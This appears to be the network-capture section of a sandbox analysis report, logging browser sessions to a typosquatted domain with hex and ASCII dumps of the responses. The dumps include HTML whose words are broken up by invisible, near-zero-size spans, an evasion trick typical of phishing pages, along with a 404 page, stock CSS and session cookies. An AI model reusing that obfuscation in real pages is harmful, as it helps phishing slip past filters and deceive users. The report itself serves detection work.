Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:43 UTC	638	IN	HTTP/1.1 404 Not Found Date: Thu, 18 Apr 2024 21:05:43 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sIrHLxMO2WCLSGT%2FoLI7l1164p8kXxGMmB08b71YvDIUMXsDxe6WGcHFPo%2B%2BccZhWGT%2Bf07XFElvhuKB2anuCnSWZS89n%2B2xmNip0ecgnrxdCEuBR4TE6FktI%2FNgiSIHHRV%2FKU1R0fYaGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d53baaf6734-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:43 UTC	322	IN	Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying t
2024-04-18 21:05:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49789	104.21.20.67	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:43 UTC	564	OUT	GET /1 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:44 UTC	698	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5nU5sph1LjAk0tfkS1wUcMSVz52XVXk43WbZ%2BQYECbFDHCRHi8BN18BH5zB5Povmd56ceYK9tKSq15PMsWnjojJT7DsGvLCZ5iFxwDKTFdIi3K7P3QSyeAc%2BUbDLmpjkBWWgZx6UmM%2FNzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d5918fb1d78-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:44 UTC	671	IN	Data Raw: 31 32 61 64 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 65 32 34 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 66 32 64 31 37 65 61 34 33 64 39 61 32 31 62 34 37 65 65 37 31 31 33 62 64 30 36 33 32 31 63 36 36 32 31 38 62 32 34 61 32 32 63 33 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 Data Ascii: 12ad <html dir="ltr" class="8a55860f2cae358e560aa5f55856c7c166218b27e24e6" lang="en"> <head> <title> bf2d17ea43d9a21b47ee7113bd06321c66218b24a22c3 </title> <meta http-equiv="Content-Type" content="text/html; cha
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 65 32 34 65 64 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 65 32 34 65 65 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 3e 0a 20 20 20 Data Ascii: sheet"> </head> <body class="cb 8a55860f2cae358e560aa5f55856c7c166218b27e24ed" style="display: block;"> <div> <div> <div class="background 8a55860f2cae358e560aa5f55856c7c166218b27e24ee" role="presentation">
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 65 32 35 30 35 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 70 72 6f 67 72 65 73 73 42 61 72 22 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 20 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 65 32 35 30 36 22 20 72 6f 6c 65 3d 22 70 72 6f 67 72 65 73 73 62 61 72 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 50 6c 65 61 73 65 20 77 61 69 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 Data Ascii: 860f2cae358e560aa5f55856c7c166218b27e2505"> </div> <div id="progressBar" hidden="" class="progress 8a55860f2cae358e560aa5f55856c7c166218b27e2506" role="progressbar" aria-label="Please wait"> </div>
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 37 3c 2f 73 70 61 6e 3e 67 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 37 3c 2f 73 70 61 6e 3e 6e 3c 73 Data Ascii: an style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">7</span>g<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">7</span>n<s
2024-04-18 21:05:44 UTC	11	IN	Data Raw: 6d 65 45 72 72 6f 72 22 3e 0d 0a Data Ascii: meError">
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 61 33 35 0d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 Data Ascii: a35 E<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-widt
2024-04-18 21:05:44 UTC	1251	IN	Data Raw: 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b Data Ascii: color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0</span>i<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0</span>d<span style="display: inline;
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 61 30 30 0d 0a 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c Data Ascii: a00a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0</span>d<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0<
2024-04-18 21:05:44 UTC	1198	IN	Data Raw: 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 Data Ascii: height: 0.03px; font-size: 0.02px;">0</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 61 30 66 0d 0a 72 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 30 3c Data Ascii: a0fr<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0</span>,<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">0<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49790	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:43 UTC	1221	OUT	GET /APP-8a55860f2cae358e560aa5f55856c7c166218b27293e0/8a55860f2cae358e560aa5f55856c7c166218b27293e1 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:44 UTC	634	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:44 GMT Content-Type: text/css Content-Length: 105369 Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9swbNiY9hkVLveCidOxF5QlmIckQ0Cp%2F5mS%2FaZOojvV051h3w1zxJtlYxw1DDln1y7nQMDCSTtEr919uDCrqADJ65KkI4gEJSJD5zywyKka3GzCDUV9y1E5m7HNKkSSobvtmjmCFUhbOcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d591fb77b9a-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:44 UTC	735	IN	Data Raw: 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 Data Ascii: html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;ver
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 34 30 70 78 7d 68 72 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 30 7d 70 72 65 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 2c 6d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 3a 30 7d 62 75 74 74 6f 6e 7b 6f 76 65 72 66 6c 6f Data Ascii: igure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflo
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 69 6e 70 75 74 2c 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 30 7d 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 69 6d 67 2d 72 65 73 70 6f 6e 73 69 76 65 7b 64 Data Ascii: -sizing:border-box}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a:focus{outline:thin dotted;outline-offset:-2px;outline:5px auto -webkit-focus-ring-color}figure{margin:0}img{vertical-align:middle}.img-responsive{d
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 39 7d 2e 74 65 78 74 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 2e 74 65 78 74 2d 6e 6f 77 72 61 70 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 7d 2e 74 65 78 74 2d 75 70 70 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 74 65 78 74 2d 63 61 70 69 74 61 6c 69 7a 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 63 61 70 69 74 61 6c 69 7a 65 7d 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d Data Ascii: 9}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}ul,ol{margin-top:0;margin-bottom
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 32 34 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 32 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 30 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 65 72 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 35 36 70 78 3b 66 6f 6e 74 2d 77 65 Data Ascii: -2{max-height:164.5432px;max-height:10.28395rem}.text-headline.text-maxlines-3{max-height:244.5432px;max-height:15.28395rem}.text-headline.text-maxlines-4{max-height:324.5432px;max-height:20.28395rem}.text-header,h1{font-size:46px;line-height:56px;font-we
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 68 33 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 33 32 2e 37 32 36 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 30 34 35 34 72 65 6d 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 Data Ascii: t:28px;font-weight:300;font-size:1.5rem;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px}.text-title.text-maxlines-1,h3.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:32.7264px;max-height:2.0454rem}.text-title.text-ma
